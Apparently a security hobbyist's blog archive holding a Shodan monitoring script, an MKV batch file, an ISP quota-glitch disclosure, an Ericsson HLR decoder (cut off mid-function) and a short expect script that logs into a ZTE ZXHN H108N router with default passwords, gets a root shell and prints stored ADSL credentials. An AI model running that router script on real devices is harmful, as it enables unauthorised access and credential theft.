Author: Malek

About Malek

Malek is passionate about Information Security, Digital Forensics, RFID and Programming.

Shodan Python API

This code can be used to monitor a list of IPs exposure on Shodan.

You need to add your API Key for it to work.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/python
# -*- coding: utf-8 -*-
import openpyxl
import ipaddress
import sys
import time
import traceback
import shodan

if __name__ == '__main__':
    try:
        API_KEY = ''
        api = shodan.Shodan(API_KEY)

        time_str = time.strftime('%Y%m%d%H%M%S')
        output_path = r"D:\shodan_{0}.xlsx".format(time_str)
        file_path = r"D:\ip_list.txt"
        with open(file_path, 'r') as f:
            lines = f.readlines()
        ip_list = []
        for line in lines:
            for ip in [str(ips) for ips in
                       ipaddress.IPv4Network(line[:-1])]:
                if not ip.endswith('.0') and not ip.endswith('.255'):
                    ip_list.append(ip.strip())
        ip_list = list(set(ip_list))
        ip_list.sort()

        secs = 5
        header = (
            'IP',
            'Hostname',
            'Timestamp',
            'OS',
            'Protocol',
            'Port',
            'Service',
            'Data',
            'CVEs',
            )
        wb = openpyxl.Workbook()
        sheet = wb.active
        sheet.append(header)
        wb.save(output_path)
        for ip in ip_list:
            rows = []
            print 'Checking IP address: {IP}'.format(IP=ip)
            try:
                host = api.host(ip, history=False)
                for item in host['data']:
                    rows.append([
                        item.get('ip_str', ''),
                        item['hostnames'][0],
                        item.get('timestamp', ''),
                        item.get('os', 'n/a'),
                        item.get('transport', ''),
                        item.get('port', ''),
                        item['_shodan'].get('module', ''),
                        item.get('data', ''),
                        str(item.get('vulns', '')),
                        ])

                for row in rows:
                    sheet.append(row)
                wb.save(output_path)
            except shodan.APIError, e:
                print 'Error: {}'.format(e)
            finally:
                time.sleep(secs)
    except:
        print ('Unexpected error:', sys.exc_info())
        print traceback.format_exc()
        raise
    finally:
        exit(0)

Remove All Art Cover from Multiple .MKV files

You need to install MKVToolNix first https://mkvtoolnix.download/downloads.html
@ECHO OFF
SET MKVPROEDIT="C:\mkvtoolnix-64bit-8.8.0\"
SET /P PATH="Enter folder path: "
IF EXIST %PATH:~1,-1%
(
   FOR /F "tokens=*" %%i IN ('dir /B /S %PATH%"\*.mkv"') DO (
       ECHO [+] Processing File: "%%i"
       START /D %MKVPROEDIT% /B /W mkvpropedit.exe "%%i" --delete-attachment mime-type:image/jpeg
       ECHO.
   )
)
SET /P X="Press any key to continue.."
@ECHO ON

ZTE ZXHN – Orange ADSL Vulnerability

Direct to the point. This script exploits the default configurations on Orange ADSL Modem/Router ZTE ZXHN H108N to get the ADSL user-name & password in plain-text.

Save as: zteadsl.sh

#!/usr/bin/expect

# set the remote host IP address (ZTE router)
set RHOST "192.168.1.1"

# telnet to host
spawn telnet ${RHOST}

# log-in using default username/password
expect "sername:" { send "root\r" }
expect "assword:" { send "public\r" }

# get root shell using default password
expect ">" { send "enable\r" }
expect "assword:" { send "zte\r" }
expect "#" { send "shell\r" }

# log-in to busybox using default username/password
expect "ogin:" { send "root\r" }
expect "assword:" { send "root\r" }

# copy ADSL username and password
expect ":" { send "cat /var/tmp/ppp/options.oe0\n" }

# exit and close connection w/ remote host
expect "# " { send "exit\r" }
expect ":" { send "\x1D\r" }
expect ">" { send "q\r" }

interact

The Simpsons Tapped Out Got Mad!

My name is Malek, and I am a TSTO addict. I’ve been playing this game 24/7 for the past 6 months, so I guess I am still a noob [Level 44] 😉

This is one of the 0.0004 non-technical posts.

While I was randomly invading the other “Springfield”, I have come across some interesting/bizarre/profane scenery that I will be sharing here.

Many Castles Recycle

Many Castles Recycle

Many Barbarian Castles

Many Barbarian Castles

Many Boxingham Palaces

Many Boxingham Palaces

Two Homers

Two Homers

I guess this applies here too, "Trust No One"

I guess this applies here too, “Trust No One”

Wizard Marge & Skinner

Wizard Marge & Skinner

The Hounds

The Hounds

Judge Snyders

Judge Snyders

The Superintendent

The Superintendent

A Glitch in Orange Jordan ADSL Quota System might Affect your Internet Monthly Cap

Update: Oct 12, 2014

During the last 54 days of running the testing script (although the plan was for 30 days), this issue only occurred once on (Mon Aug 25 12:10:22 EEST 2014 – Tue Aug 26 00:10:35 EEST 2014). Therefore, we can safely assume that this glitch was most likely caused by untested changes (updates, patches, configurations changes, etc.) applied immaturely on a production system. I wish I could say “no harm, no foul”, but this was NOT the case for the people who have very restricted cap (e.g. 10 GB/M) and might have been maxed out very early.

On the bright side, Orange has generously increased the monthly data cap to up-to 500 GB/M for most ADSL plans! For that, Thank you Orange.

————————————

If you live in Jordan and use Orange™ ADSL Internet service, Well, you better watch out for this glitch in their ADSL quota system.

Almost all Internet Service Providers (ISP) in Jordan enforce very restrict monthly capacity plans, a.k.a data cap. Some of which even resort to unethical and tacky, yet legal, ways to scam naive and inexperienced users with false/vague Ads such as “Unlimited” or “No Limit” Internet access. Under the “fair share/usage policy”, your ISP have the rights to penalize you if your Internet usage exceeded the monthly data cap, by significantly dropping the Internet speed, billing you the extra GB capacity with high rate, and in some cases ban you from the service. But this is not what I want to rant about today!

ADSL Quota

Orange provides ADSL customers with two methods to view their ADSL data usage details:

  1. Via Orange Jordan Website [1], or
  2. Directly through their quota management Web portal [2]

I almost always go with the second option, as it does NOT require any kind of authentication on my part. The system do the authentication automatically using, most likely, AAA RADIUS server. While, with the first option you need to create a Single-Sign-On (SSO) account, then add your ADSL credentials, and navigate through 5-6 pages to get to the Internet usage page.

Technically speaking, Orange Jordan uses The Juniper Networks Service Deployment System (SDX-300) [3] to monitor, log, and control subscribers network usage (on/off-peak data usage, sessions details, buy additional GB, etc.). Fortunately or unfortunately (depending on your perspective) this information is publicly available and can be obtained passively  via the cached version of default error page for the Volume Tracking Application (VTA) with the strip parameter ON [4] which will show the exact version & technology of Orange Jordan quota management system.

The Glitch

A couple of weeks ago, I noticed that on multiple occasions I was connected to the Internet through other ADSL subscribers account, also my internet data cap was quite strange; quota sessions history shows unusual activities (uploads/downloads).

On 11th & 18th August 2014, I was connected to the Internet using other ADSL subscribers account. This means that:

  • I was using someone else’s account,
  • Someone else might have been using my account too,
  • My online activities were logged to their account (No accountability),
  • Their ADSL account username and sessions history were accessible to me (No privacy), and
  • I could have maxed their data cap and none the wiser.

On Aug 11, 2014 : Connected to other ADSL subscribers account.

On Aug 11, 2014 : Connected to other ADSL subscribers account.

On Aug 18, 2014 : Connected to other ADSL subscribers account.

On Aug 18, 2014 : Connected to other ADSL subscribers account.

Interestingly, on 16th August 2014 I also was connected to the Internet using other subscriber ADSL account, but this time the account has the “extra GB” service enabled. Thus, I could have bought additional download capacity (2 JD/GB) and the customer would have to bear the bill!!!

On Aug 16, 2014: Connected to other ADSL subscribers account. Purchase additional quota (Mkt) is Enabled.

On Aug 16, 2014: Connected to other ADSL subscribers account. Purchase additional quota (Mkt) is Enabled.

Testing Script

Currently, I am running the below bash script on BeagleBone Black to fetch the quota page every one hour and save the result if the account being used is NOT mine. I am planning to let this script run for a month to verify if this is a temp glitch or a persistent issue. I will keep this post updated.

#!/bin/bash -e

USRNAME="adsl-user-name"
ERRPAGE="sdx-300"
SAVELOC="/home/user/adsl/"

if [ ! -d $SAVELOC ]; then mkdir $SAVELOC; fi;

while :
  do
   FILE="$SAVELOC$(date +"%y%m%d%H%M").htm"
   wget -q -O $FILE http://quotaalert.orange.jo:8080/quotaCustCare/custcare.jsp?page=Balances
   if [ -f $FILE ] && egrep -q -i "$ERRPAGE|$USRNAME" $FILE; then rm $FILE; fi;
   sleep 1h
  done

Testing Setup
[1] Orange Jordan Website, https://www.orange.jo
[2] Quota Alert Web Portal, http://quotaalert.orange.jo:8080/quotaCustCare/custcare.jsp?page=Balances
[3] Juniper SDX-300 Manual, http://www.juniper.net/techpubs/software/management/sdx/sdx64x/bookpdfs/sw-sdx-get-start.pdf
[4] Cached SDX-300 Default Error Page , https://webcache.googleusercontent.com/search?q=cache:quotaalert.orange.jo:8080/quotaCustCare/redirect.jsp&strip=1

HLR Decoder (Python Source-Code)

In telecom lingo, HLR or (Home Location Register) is simply a database that contains all sort of information about each mobile phone subscriber. The HLR database is usually built directly on binary system file, which allows for very fast data manipulation, but creates integrity and consistency dilemma from a security point-of-view.

I wrote this HLR decoder back in 2012 to decode Ericson HLR R13.2/14.1 and it was my very first Python application. The goal was to decode two HLR dump files and perform consistency check between them. The code is certainly not optimized and not complete, yet it can successfully decode the following records:

  1. ADM record: administrative data.
  2. ENDOFPRINTOUT record: end of printout information.
  3. SUBSDATA record: permanent subscribers data.
  4. EXTSUBSDATA record: extended subscriber data.
    1. CUG tag: Closed User Group data.
    2. GPRS tag: General Packet Radio Service data.

How to use the decoder:

First, you need to install & configure Python. If you’re a Windows user, you can follow this tutorial How to Setup a Proper Python Environment on Windows

Second, download the source code from this link and follow the instructions in the “readme.txt” file.

Feel free to use the code as you like (it’s published under Creative Commons (CC) Attribution License see: http://creativecommons.org/licenses/by/4.0/ )

Source-Code:

# Input: HLR binary dump file (ex: HLRDUMP.dat)
# Output: HLR Hexadecimal file (ex: HLRDUMP_hex.hex)
# Usage: C:\>python cmd_hexify.py "C:\>HLR\HLRDUMP.dat"

import os
import sys
from datetime import datetime

def getLastPosition(f):
    f.seek(0, os.SEEK_END)
    lpos = max(0, f.tell())
    f.seek(0,0)
    while lpos > 0 :
        f.seek(lpos-1, 0)
        if f.read(1).encode("hex") != '00' :
            break
        lpos -= 1
    return f.tell()

def sanitizepath(path):
    if len(path) == 0:
        return;

    snpath = r'"' + path + '"'

    if path[0] == "\"":
        snpath = snpath[1:]
    if path[-1] == "\"":
        snpath = snpath[0:-1]

    return snpath

def toHex(in_path, out_path, offset):
    try:
        #Open a file for read in binary mode
        with open(in_path, 'rb') as inFile :
            with open(out_path, 'ab') as outFile :
                #Get EOF position
                eof = getLastPosition(inFile)
                lenPool = eof-offset+1
                i = 0

                inFile.seek(offset, 0)
                sys.stdout.write('>>call file.read(%s)' % in_path)
                pool = inFile.read(eof-offset)
                sys.stdout.write('\t[DONE]\n')
                sys.stdout.write('>>call file.write(%s)' % out_path)

                bulk = []
                while i < lenPool :
                    bulk.append(pool[i:i+1])
                    i+=1
                    if i % 10240 == 0 :
                        outFile.write("".join(bulk).encode("hex"))
                        bulk = []
                if bulk != []:
                    outFile.write("".join(bulk).encode("hex"))
                sys.stdout.write('\t[DONE]\n')

        return True

    except IOError as (errno, strerror) :
        #Output IO error message
        print "\nException:\n$ I/O error({0}): {1}\n".format(errno, strerror)
    except:
        #Output Exception message
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]

        #Close opened file
        if 'inFile' in dir() and not inFile.closed :
            inFile.close()
        if 'outFile' in dir() and not outFile.closed :
            outFile.close()

        #Raise the Exception and stop the program execution
        raise

def main(argv=sys.argv):
    try:
        if argv is None :
            argv = sys.argv
        dumps = []
        hexFiles = []
        if len(sys.argv) > 1 :

            print '\n$ time:\t%s\n' % datetime.now()

            dumps.append(sys.argv[1])
            hexFiles.append(sys.argv[1].replace('.dat', '_hex.hex'))

            print '>invoke Hexify(%s)' % sys.argv[1]
            done = toHex(dumps[0], hexFiles[0], 0)

            if done:
                print '>invoke Hexify(%s)\t[DONE]' % sys.argv[1]
                print '\n$ time:\t%s\n' % datetime.now()
    except:
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]
    finally:
        print '>invoke sys.exit(main(sys.argv))'
        ##raw_input("Press any key to continue...")

if __name__ == "__main__" :
    sys.exit(main(sys.argv))
# Input: HLR Hexadecimal file (ex: HLRDUMP_hex.hex)
# Output: HLR SUBSDATA record file (ex: HLRDUMP_subsdata.hex)
# Usage: C:\>python cmd_extract_subsdata.py "D:\>HLR\HLRDUMP_hex.hex"

import os
import sys
from datetime import datetime

def getLastPosition(f):
    f.seek(0, os.SEEK_END)
    lpos = max(0, f.tell())
    f.seek(0,0)
    while lpos > 0 :
        f.seek(lpos-1, 0)
        if f.read(1).encode("hex") != '00' :
            break
        lpos -= 1
    return f.tell()

def sanitizepath(path):
    if len(path) == 0:
        return;

    snpath = r'"' + path + '"'

    if path[0] == "\"":
        snpath = snpath[1:]
    if path[-1] == "\"":
        snpath = snpath[0:-1]

    return os.path.normpath(os.path.normcase(snpath))

def readSUBDATA(in_path, out_path, offset):
    try:
        #Open a file for read in binary mode
        with open(in_path, 'rb') as inFile :
            eof = getLastPosition(inFile)
            start,end = 0,0

            inFile.seek(offset, 0)
            sys.stdout.write('>>call file.read(%s)' % in_path)
            pool = inFile.read(eof-offset)
            sys.stdout.write('\t[DONE]\n')
            sys.stdout.write('>>call file.write(%s)' % out_path)
##
##        with open("dump.txt", 'w') as out:
##            out.write(pool)
##
        with open(out_path, 'ab') as outFile :
            while True:
                start = pool.find("ff32", end)
                end = pool.find("ff32", start+42)

                if min(start, end) < 0 :
                    if start > 0 :
                        outFile.write( pool[start+2:pool.find("ff33", start+2)+2] )
                        outFile.write( '\r\n' )
                    break                   

                outFile.write( pool[start+2:end+2] )
                outFile.write( '\r\n' )

        sys.stdout.write('\t[DONE]\n')
        return True

    except IOError as (errno, strerror) :
        #Output IO error message
        print "\nException:\n$ I/O error({0}): {1}\n".format(errno, strerror)

    except:
        #Output Exception message
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]

        #Close opened file
        if 'inFile' in dir() and not inFile.closed :
            inFile.close()
        if 'outFile' in dir() and not outFile.closed :
            outFile.close()

        #Raise the Exception and stop the program execution
        raise

def main(argv=sys.argv):
    try:
        if argv is None :
            argv = sys.argv
        hexFiles = []
        outFiles = []
        if len(sys.argv) > 1 :
            print '\n$ time:\t%s\n' % datetime.now()

            hexFiles.append(sys.argv[1])
            outFiles.append(sys.argv[1].replace("_hex.hex", "_subsdata.hex"))

            print '>invoke ExtractSUBDATA(%s)' % sys.argv[1]
            done = readSUBDATA(hexFiles[0], outFiles[0], 0)

            if done:
                print '>invoke ExtractSUBDATA(%s)\t[DONE]' % sys.argv[1]
                print '\n$ time:\t%s\n' % datetime.now()
    except:
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]
    finally:
        print 'sys.exit(main(sys.argv))'
        ##raw_input("Press any key to continue...")

if __name__ == "__main__" :
    sys.exit(main(sys.argv))
# Input: - HLR binary dump file (ex: HLRDUMP.dat)
#        - HLR SUBSDATA record file (ex: HLRDUMP_subsdata.hex)
# Output: HLR decoded CSV file (ex: HLRDUMP_parsed.csv)
# Usage: C:\>python cmd_decode_subsdata.py "D:\>HLR\HLRDUMP.dat" "D:\>HLR\HLRDUMP_subsdata.hex"

import sys
import os
import binascii
from datetime import datetime

if not 'DEBUG' in dir() :
    """
    Debugging indicator.
      - True:   Output debugging results,
      - False:  Omit debugging results.
    """

    DEBUG = False #or True

def enum(**enums):
    """
    Function return generic enumeration type
      - enums:  enumerated list
    """

    return type('Enum', (), enums)

ENCODING = enum(BIN=0, BCD=1, TBCD=2, HEX=16, ISO=8)    #Define encoing types

def byte_to_binary(n):
    """
    Convert bytes to binary
    """

    return ''.join(str((n & (1 << i)) and 1) for i in reversed(range(8)))

def hex_to_binary(h):
    """
    Convert hex to binary
    """

    return ''.join(byte_to_binary(ord(b)) for b in binascii.unhexlify(h))

def getLastPosition(in_path):
    """
    Function that returns the last non 0x00 position.
      - in_path:    the input file full-path + extension.
    """

    try:
        #Open a file for read in binary mode
        with open(in_path, 'rb') as inFile :

            #Set the file's current position to EOF
            inFile.seek(0, os.SEEK_END)

            #Get EOF position
            lpos = max(0, inFile.tell())

            while lpos > 0 :
                inFile.seek(lpos-1, 0)
                if inFile.read(1).encode("hex") != '00' :
                    break
                lpos -= 1

            if DEBUG : print "[DEBUG]\r\n%d\r\n[/DEBUG]\r\n" % inFile.tell() ## Debugging

            return inFile.tell()  

    except IOError as (errno, strerror):
    	#Output IO error message
        print "\nException:\n$ I/O error({0}): {1}\n".format(errno, strerror)

    except:
        #Output Exception message
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]

        #Close opened file
        if 'inFile' in dir() and not inFile.closed :
            inFile.close()

        #Raise the Exception and stop the program execution
        raise

def sanitizepath(path):
    if len(path) == 0:
        return;

    snpath = r'"' + path + '"'

    if path[0] == "\"":
        snpath = snpath[1:]
    if path[-1] == "\"":
        snpath = snpath[0:-1]

    return os.path.normpath(os.path.normcase(snpath))

def decode(value, encoding):
    """
    Function that decodes byte(s) according to the encoding type
      - value:      value to decode.
      - encoding:   encoding type.
    """

    #Decode to Binary
    if encoding == ENCODING.BIN :
        return hex_to_binary(value.encode("hex"))

    #Decode to BCD
    if encoding == ENCODING.BCD :
        bcd = value.encode("hex").lower()
        return bcd[:bcd.find('f')]

    #Decode to ISO
    if encoding == ENCODING.ISO :
        return value

    #Decode to Hex
    if encoding == ENCODING.HEX :
        return value.encode("hex")

def getRecordAMD(in_path, out_path, offset):
    """
    Function that returns the ADM Record.
    The ADM record is stored in the file when subscriber data output is initiated.
    This record consists of administrative data.
      - in_path:    the input file full-path + extension.
    """

    try:
        #Set the record length
        length = 32

        #Open a file for read in binary mode
        with open(in_path, 'rb') as inFile :

            #Set the file's current position
            inFile.seek(offset, 0)

            sys.stdout.write('>>>call file.read(%s)' % in_path)

            #Read the file AMD Record
            pool = inFile.read(length)

            sys.stdout.write('\t[DONE]\n')
            sys.stdout.write('>>>extract data')

            if DEBUG : print "[DEBUG]\r\n%s\r\n[/DEBUG]\r\n" % pool ## Debugging

        out = []

        #Create AMD Record Type
        out.append( decode(pool[:1], ENCODING.ISO) + ',')  # 1 bytes

        #Create Exhange Idenity
        out.append( decode(pool[1:13], ENCODING.ISO) + ',')   # 12 bytes, ISO Coded

        #Create Starting Year
        out.append( decode(pool[13:15], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Starting Month
        out.append( decode(pool[15:17], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Starting Day
        out.append( decode(pool[17:19], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Starting Hour
        out.append( decode(pool[19:21], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Starting Minute
        out.append( decode(pool[21:23], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Determine parameter given in command
        temp = decode(pool[23:24], ENCODING.BIN)[4:]
        params = []

        if temp[3] == '0':
            params.append("1,")
        else:
            params.append("2,")
        if temp[2] == '0':
            params.append("3,")
        else:
            params.append("4,")
        if temp[1] == '0':
            params.append("5,")
        else:
            params.append("5,")
        if temp[0] == '0':
            params.append("7,")
        else:
            params.append("8,")

        #Create Parameter given in command
        out.append( "".join(params) )   # 1 bytes, Binary Coded

        #Create Parameter value
        ##out.append( decode(pool[24:32], ENCODING.BCD) + ',')   # 8 bytes, BCD Coded
        out.append( decode(pool[24:32], ENCODING.BCD) )   # 8 bytes, BCD Coded  

        sys.stdout.write('\t[DONE]\n')
        sys.stdout.write('>>>call file.write(%s)' % out_path)
        #Open a file for write
        with open(out_path, 'a') as outFile :
            #Write to File
            outFile.write("".join(out))
            outFile.write('\n')
        sys.stdout.write('\t[DONE]\n')

        return True

    except IOError as (errno, strerror):
    	#Output IO error message
        print "\nException:\n$ I/O error({0}): {1}\n".format(errno, strerror)

    except:
        #Output Exception message
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]

        #Close opened file
        if 'inFile' in dir() and not inFile.closed :
            inFile.close()
        if 'outFile' in dir() and not outFile.closed :
            outFile.close()

        #Raise the Exception and stop the program execution
        raise

def getRecordEND(in_path, out_path, offset):
    """
    Function that returns the ENDOFPRINTOUT Record.
    The ENDOFPRINTOUT record is stored in the file when subscriber data output is finished..
    This record indicates end of printout.
      - in_path:    the input file full-path + extension.
    """

    try:
        #Set the record length
        length = 12

        #Open a file for read in binary mode
        with open(in_path, 'rb') as inFile :

            #Set the file's current position
            inFile.seek(offset-length, 0)

            sys.stdout.write('>>>call file.read(%s)' % in_path)

            #Read the file ENDOFPRINTOUT Record
            pool = inFile.read(length)

            sys.stdout.write('\t[DONE]\n')
            sys.stdout.write('>>>extract data')

            if DEBUG : print "[DEBUG]\r\n%s\r\n[/DEBUG]\r\n" % pool ## Debugging

        out = []
        #Create ENDOFPRINTOUT Record Type
        out.append( decode(pool[:1], ENCODING.ISO) + ',')  # 1 byte

        #Create Ending Year
        out.append( decode(pool[1:3], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Ending Month
        out.append( decode(pool[3:5], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Ending Day
        out.append( decode(pool[5:7], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Ending Hour
        out.append( decode(pool[7:9], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Ending Minute
        out.append( decode(pool[9:11], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Determine the type of end of print
        ##out.append( decode(pool[11:12], ENCODING.ISO) + ',')   # 1 bytes, ISO Coded
        out.append( decode(pool[11:12], ENCODING.ISO) )   # 1 bytes, ISO Coded

        sys.stdout.write('\t[DONE]\n')
        sys.stdout.write('>>>call file.write(%s)' % out_path)
        #Open a file for write
        with open(out_path, 'a') as outFile :
            #Write to File
            outFile.write("".join(out))
            outFile.write('\n')
        sys.stdout.write('\t[DONE]\n')

        return True

    except IOError as (errno, strerror):
    	#Output IO error message
        print "\nException:\n$ I/O error({0}): {1}\n".format(errno, strerror)

    except:
        #Output Exception message
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]

        #Close opened file
        if 'inFile' in dir() and not inFile.closed :
            inFile.close()
        if 'outFile' in dir() and not outFile.closed :
            outFile.close()

        #Raise the Exception and stop the program execution
        raise

def getRecordSUBSDATA(in_path, out_path, offset):
    """
    Function that returns the SUBSDATA Record.
    A subscriber data block consists of two types of records per connected Subscriber:
        1. one SUBSDATA record with permanent subscriber data, and
        2. one optional EXTSUBSDATA record with extended subscriber data.
      - in_path:    the input file full-path + extension.
    """

    try:
        #Open a file for read in binary mode
        with open(in_path, 'rb') as inFile :

            #Set the file's current position
            inFile.seek(offset, 0)

            root = None

            print '>>>call file.read(%s)' % in_path
            print '>>>extract data'
            print '>>>call file.write(%s)' % out_path

            #Open a file for write
            with open(out_path, 'a') as outFile :
                for line in inFile.xreadlines() :
                    #Create Root
                    out = []

                    #Extract SUBSDATA Record type
                    out.append( chr(int(line[:2],16)) + ',')
                    #Extract Record number
                    ##out.append( str(int(line[2:8],16)) + ',')
                    #Extract ACIMSI number
                    out.append( line[8:24].replace('f', '') + ',')
                    #Extract MSISDN
                    out.append( line[24:40].replace('f', '') + ',')
                    #Extract Number of additional MSISDN
                    out.append( str(int(line[40:42],16)) + ',')

                    #Extract Additional MSISDN Information
                    pos,i = 42,0
                    while i < int(line[40:42],16) :
                        #Extract Additional MSISDN
                        out.append( line[42+i*22:(42+i*22+16)].replace('f', '') + ',')
                        #Extract BC number tied to Additional MSISDN
                        out.append( str(int(line[42+i*22+16:42+i*22+20],16)) + ',')
                        #Extract Service pointer for BS that represents the BC number
                        out.append( str(int(line[42+i*22+20:42+i*22+22],16)) + ',')

                        i = i+1

                    #Calculate current position
                    if i != 0:
                        i -= 1
                        pos = 42+i*22+22
                    i = 1

                    #Extract SUD Information
                    while line[pos:pos+2] not in ['ff', 'fe', ''] :
                        #Extract Service pointer for permanent SUD
                        out.append( str(int(line[pos:pos+2], 16)) + ',')
                        #Extract SUD value
                        out.append( str(int(line[pos+2:pos+6], 16)) + ',')

                        pos,i = pos+6, i+1

                    #Check if IMEISV identifier is included
                    if line[pos:pos+2] == 'fe' :
                        #Extract IMEISV identifier
                        out.append( line[pos+2:pos+18] + ',')

                    #Extract End of record
                    ##out.append( line[pos:pos+2] + ',')
                    out.append( line[pos:pos+2] )

                    #Append record length in bytes
                    ##out.append( str((pos+2)/2) + ',')                 

                    #Write to File
                    outFile.write("".join(out))
                    outFile.write('\n')

        print '>>>call file.read(%s)\t[DONE]' % in_path
        print '>>>extract data\t[DONE]'
        print '>>>call file.write(%s)\t[DONE]' % out_path

        return True

    except IOError as (errno, strerror):
    	#Output IO error message
        print "\nException:\n$ I/O error({0}): {1}\n".format(errno, strerror)

    except:
        #Output Exception message
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]

        #Close opened file
        if 'inFile' in dir() and not inFile.closed :
            inFile.close()
        if 'outFile' in dir() and not outFile.closed :
            outFile.close()

        #Raise the Exception and stop the program execution
        raise

def ExtractDump(dumps, hexFiles):
    #Loop through each dump file
    index = 0
    for dump in dumps:
        #Set output file
        outPath = dump.replace('.dat','_parsed.csv')

        #Extract AMD record
        print '>>invoke getRecordAMD(%s)' % dump
        done = getRecordAMD(dump, outPath, 0)
        if done:
            print '>>invoke getRecordAMD(%s)\t[DONE]' % dump
        else:
            raise

        #Extract SUBDATA record
        print '>>invoke getRecordSUBSDATA(%s)' % dump
        done = getRecordSUBSDATA(hexFiles[index], outPath, 0)
        if done:
            print '>>invoke getRecordSUBSDATA(%s)\t[DONE]' % dump
        else:
            raise

        #Extract ENDPRINT record
        print '>>invoke getRecordEND(%s)' % dump
        done = getRecordEND(dump, outPath, getLastPosition(dump))
        if done:
            print '>>invoke getRecordEND(%s)\t[DONE]' % dump
        else:
            raise

        index += 1

def main(argv=sys.argv):
    try:
        if argv is None :
            argv = sys.argv
        dumps = []
        hexFiles = []
        if len(sys.argv) > 2 :

            print '\n$ time:\t%s\n' % datetime.now()

            dumps.append(sys.argv[1])
            hexFiles.append(sys.argv[2])

            print '>invoke ExtractDump(%s)' % sys.argv[1]
            ExtractDump([dumps[0]], [hexFiles[0]])

            print '>invoke ExtractDump(%s)\t[DONE]' % sys.argv[1]
            print '\n$ time:\t%s\n' % datetime.now()

    except:
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]
    finally:
        print 'sys.exit(main(sys.argv))'
        ##raw_input("Press any key to continue...")

if __name__ == "__main__" :
    sys.exit(main(sys.argv))
# Input: - HLR binary dump file (ex: CUGDUMP.dat)
#        - HLR SUBSDATA record with CUG Tag file (ex: CUGDUMP_subsdata.hex)
# Output: HLR decoded CSV file (ex: CUGDUMP_parsed.csv)
# Usage: C:\>python cmd_decode_cug.py "D:\>HLR\CUGDUMP.dat" "D:\>HLR\CUGDUMP_subsdata.hex"

import sys
import os
import binascii
from datetime import datetime

if not 'DEBUG' in dir() :
    """
    Debugging indicator.
      - True:   Output debugging results,
      - False:  Omit debugging results.
    """

    DEBUG = False #or True

def enum(**enums):
    """
    Function return generic enumeration type
      - enums:  enumerated list
    """

    return type('Enum', (), enums)

ENCODING = enum(BIN=0, BCD=1, TBCD=2, HEX=16, ISO=8)    #Define encoing types

def byte_to_binary(n):
    """
    Convert bytes to binary
    """

    return ''.join(str((n & (1 << i)) and 1) for i in reversed(range(8)))

def hex_to_binary(h):
    """
    Convert hex to binary
    """

    return ''.join(byte_to_binary(ord(b)) for b in binascii.unhexlify(h))

def getLastPosition(in_path):
    """
    Function that returns the last non 0x00 position.
      - in_path:    the input file full-path + extension.
    """

    try:
        #Open a file for read in binary mode
        with open(in_path, 'rb') as inFile :

            #Set the file's current position to EOF
            inFile.seek(0, os.SEEK_END)

            #Get EOF position
            lpos = max(0, inFile.tell())

            while lpos > 0 :
                inFile.seek(lpos-1, 0)
                if inFile.read(1).encode("hex") != '00' :
                    break
                lpos -= 1

            if DEBUG : print "[DEBUG]\r\n%d\r\n[/DEBUG]\r\n" % inFile.tell() ## Debugging

            return inFile.tell()  

    except IOError as (errno, strerror):
    	#Output IO error message
        print "\nException:\n$ I/O error({0}): {1}\n".format(errno, strerror)

    except:
        #Output Exception message
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]

        #Close opened file
        if 'inFile' in dir() and not inFile.closed :
            inFile.close()

        #Raise the Exception and stop the program execution
        raise

def sanitizepath(path):
    if len(path) == 0:
        return;

    snpath = r'"' + path + '"'

    if path[0] == "\"":
        snpath = snpath[1:]
    if path[-1] == "\"":
        snpath = snpath[0:-1]

    return os.path.normpath(os.path.normcase(snpath))

def decode(value, encoding):
    """
    Function that decodes byte(s) according to the encoding type
      - value:      value to decode.
      - encoding:   encoding type.
    """

    #Decode to Binary
    if encoding == ENCODING.BIN :
        return hex_to_binary(value.encode("hex"))

    #Decode to BCD
    if encoding == ENCODING.BCD :
        bcd = value.encode("hex").lower()
        return bcd[:bcd.find('f')]

    #Decode to ISO
    if encoding == ENCODING.ISO :
        return value

    #Decode to Hex
    if encoding == ENCODING.HEX :
        return value.encode("hex")

def getRecordAMD(in_path, out_path, offset):
    """
    Function that returns the ADM Record.
    The ADM record is stored in the file when subscriber data output is initiated.
    This record consists of administrative data.
      - in_path:    the input file full-path + extension.
    """

    try:
        #Set the record length
        length = 32

        #Open a file for read in binary mode
        with open(in_path, 'rb') as inFile :

            #Set the file's current position
            inFile.seek(offset, 0)

            sys.stdout.write('>>>call file.read(%s)' % in_path)

            #Read the file AMD Record
            pool = inFile.read(length)

            sys.stdout.write('\t[DONE]\n')
            sys.stdout.write('>>>extract data')

            if DEBUG : print "[DEBUG]\r\n%s\r\n[/DEBUG]\r\n" % pool ## Debugging

        out = []

        #Create AMD Record Type
        out.append( decode(pool[:1], ENCODING.ISO) + ',')  # 1 bytes

        #Create Exhange Idenity
        out.append( decode(pool[1:13], ENCODING.ISO) + ',')   # 12 bytes, ISO Coded

        #Create Starting Year
        out.append( decode(pool[13:15], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Starting Month
